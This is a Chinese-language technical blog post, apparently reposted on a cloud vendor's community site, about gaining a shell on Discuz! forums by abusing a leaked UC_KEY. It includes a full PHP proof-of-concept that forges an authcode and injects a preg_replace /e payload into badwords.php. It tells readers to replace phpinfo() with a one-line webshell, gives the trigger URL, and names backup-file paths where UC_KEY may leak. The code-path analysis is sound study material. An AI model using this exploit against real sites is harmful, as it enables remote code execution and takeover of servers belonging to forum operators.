Discuz利用UC_KEY進行前台getshell

來源:互聯網
上載者:User

標籤:logs   file   close   auth   name   false   code   content   _for   

來源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html

先通過uc_key把惡意代碼儲存在/uc_client/data/cache/badwords.php,然後利用preg_replace() 進行任意代碼執行。

先附上來源中的指令碼。修改了一些代碼。

<?php$timestamp = time()+10*3600;$host="ip地址";$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");$uc_key="網站的uc_key";$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", ‘ENCODE‘, $uc_key));$cmd1=‘<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="0"><item id="findpattern">/(.*)/e</item><item id="replacement">phpinfo();</item></item></root>‘;$html1 = send($cmd1);echo $html1;function send($cmd){    global $host,$code;    $message = "POST /Discuz_X2/api/uc.php?code=".$code."  HTTP/1.1\r\n";    $message .= "Accept: */*\r\n";    $message .= "Referer: ".$host."\r\n";    $message .= "Accept-Language: zh-cn\r\n";    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";    $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";    $message .= "Host: ".$host."\r\n";    $message .= "Content-Length: ".strlen($cmd)."\r\n";    $message .= "Connection: Close\r\n\r\n";    $message .= $cmd;    $fp = fsockopen($host, 80);    fputs($fp, $message);    $resp = ‘‘;    while ($fp && !feof($fp))        $resp .= fread($fp, 1024);    return $resp;}function _authcode($string, $operation = ‘DECODE‘, $key = ‘‘, $expiry = 0) {    $ckey_length = 4;    $key = md5($key ? $key : UC_KEY);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == ‘DECODE‘ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ‘‘;    $cryptkey = $keya.md5($keya.$keyc);    $key_length = strlen($cryptkey);    $string = $operation == ‘DECODE‘ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d‘, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;    $string_length = strlen($string);    $result = ‘‘;    $box = range(0, 255);    $rndkey = array();    for($i = 0; $i <= 255; $i++) {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }    for($j = $i = 0; $i < 256; $i++) {        $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }    for($a = $j = $i = 0; $i < $string_length; $i++) {        $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    if($operation == ‘DECODE‘) {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {            return substr($result, 26);        } else {            return ‘‘;        }    } else {        return $keyc.str_replace(‘=‘, ‘‘, base64_encode($result));    }}?>

  

整個poc應該要修改的地方有四處:

 

$host,$uc_key,<item id="replacement">phpinfo();</item>, $message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\r\n";

第一處是網站的地址:填ip或者網域名稱都行,第二個是擷取到的uc_key,一般都是管理員才能看到,第三個就是phpinfo(); ,修改成一句話的指令碼,第四個就是網站的目錄,可能放在二級目錄下。

看了下poc,就是構造一個code和xml資料,然後發送到/api/uc.php,跟一下這個php檔案

$code = @$_GET[‘code‘];parse_str(authcode($code, ‘DECODE‘, UC_KEY), $get);

  可以看到對$code進行解密,並且用parse_str()函數把參數解析註冊成變數。

$post = xml_unserialize(file_get_contents(‘php://input‘));

  讀取post的內容,並用xml_unserialize()解析內容

看到這裡,$action=updatebadwords,下面還有個段代碼echo $uc_note->$get[‘action‘]($get, $post); ,執行了updatebadwords()函數,上面有if判斷了$get[‘action‘]的值,所以不能造成代碼執行。

function updatebadwords($get, $post) {global $_G;if(!API_UPDATEBADWORDS) {return API_RETURN_FORBIDDEN;}$data = array();if(is_array($post)) {foreach($post as $k => $v) {$data[‘findpattern‘][$k] = $v[‘findpattern‘];$data[‘replace‘][$k] = $v[‘replacement‘];}}$cachefile = DISCUZ_ROOT.‘./uc_client/data/cache/badwords.php‘;$fp = fopen($cachefile, ‘w‘);$s = "<?php\r\n";$s .= ‘$_CACHE[\‘badwords\‘] = ‘.var_export($data, TRUE).";\r\n";fwrite($fp, $s);fclose($fp);

  迴圈出post的資料,並把findpattern  replacement兩個的值賦給$data,然後寫入/uc_client/data/cache/badwords.php檔案

把資料存進去了,那要把資料取出來才行,來看看哪裡可以取。

根據文章的內容,觸發點是:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

根據discuz的mvc架構,調用了/source/module/forum/forum_ajax.php 

if($_G[‘gp_action‘] == ‘checkusername‘) {$username = trim($_G[‘gp_username‘]);$usernamelen = dstrlen($username);if($usernamelen < 3) {showmessage(‘profile_username_tooshort‘, ‘‘, array(), array(‘handle‘ => false));} elseif($usernamelen > 15) {showmessage(‘profile_username_toolong‘, ‘‘, array(), array(‘handle‘ => false));}loaducenter();$ucresult = uc_user_checkname($username);

  調用了uc_user_checkname()函數

function uc_user_checkname($username) {return call_user_func(UC_API_FUNC, ‘user‘, ‘check_username‘, array(‘username‘=>$username));}

  UC_API_FUNC預設是調用uc_api_mysql

define(‘UC_API_FUNC‘, UC_CONNECT == ‘mysql‘ ? ‘uc_api_mysql‘ : ‘uc_api_post‘);

  

所以調用了uc_api_mysql(‘user‘, ‘check_username‘, array(‘username‘=>$username))

function uc_api_mysql($model, $action, $args=array()) {global $uc_controls;if(empty($uc_controls[$model])) {include_once UC_ROOT.‘./lib/db.class.php‘;include_once UC_ROOT.‘./model/base.php‘;include_once UC_ROOT."./control/$model.php";eval("\$uc_controls[‘$model‘] = new {$model}control();");}if($action{0} != ‘_‘) {$args = uc_addslashes($args, 1, TRUE);$action = ‘on‘.$action;$uc_controls[$model]->input = $args;return $uc_controls[$model]->$action($args);} else {return ‘‘;}}

  

可以看到$action重組成oncheck_username,並調用oncheck_username()

跟進oncheck_username()函數, 位於/uc_client/control/user.php 調用了_check_username()函數。

function _check_username($username) {$username = addslashes(trim(stripslashes($username)));if(!$_ENV[‘user‘]->check_username($username)) {return UC_USER_CHECK_USERNAME_FAILED;} elseif(!$_ENV[‘user‘]->check_usernamecensor($username)) {return UC_USER_USERNAME_BADWORD;} elseif($_ENV[‘user‘]->check_usernameexists($username)) {return UC_USER_USERNAME_EXISTS;}return 1;}

  

跟到check_usernamecensor() 函數中

function check_usernamecensor($username) {$_CACHE[‘badwords‘] = $this->base->cache(‘badwords‘);$censorusername = $this->base->get_setting(‘censorusername‘);$censorusername = $censorusername[‘censorusername‘];$censorexp = ‘/^(‘.str_replace(array(‘\\*‘, "\r\n", ‘ ‘), array(‘.*‘, ‘|‘, ‘‘), preg_quote(($censorusername = trim($censorusername)), ‘/‘)).‘)$/i‘;$usernamereplaced = isset($_CACHE[‘badwords‘][‘findpattern‘]) && !empty($_CACHE[‘badwords‘][‘findpattern‘]) ? @preg_replace($_CACHE[‘badwords‘][‘findpattern‘], $_CACHE[‘badwords‘][‘replace‘], $username) : $username;if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {return FALSE;} else {return TRUE;}}

  擷取badwords的內容,並且把他存入數組$_CACHE[‘badwords‘]

然後有這麼一句:@preg_replace($_CACHE[‘badwords‘][‘findpattern‘], $_CACHE[‘badwords‘][‘replace‘], $username)

剛好就是我們第一步修改的地方,也就是我們可控的,所以造成了代碼執行。

運行poc後在訪問如下頁面,就能執行代碼了。

/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

 

要小心uc_key的泄露,有這麼幾種方式,

/config/config_ucenter.php.bak

/uc_server/data/cache/apps.php.bak

還有就是管理員弱口令登入到後台拿到uc_key。

 

Discuz利用UC_KEY進行前台getshell

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.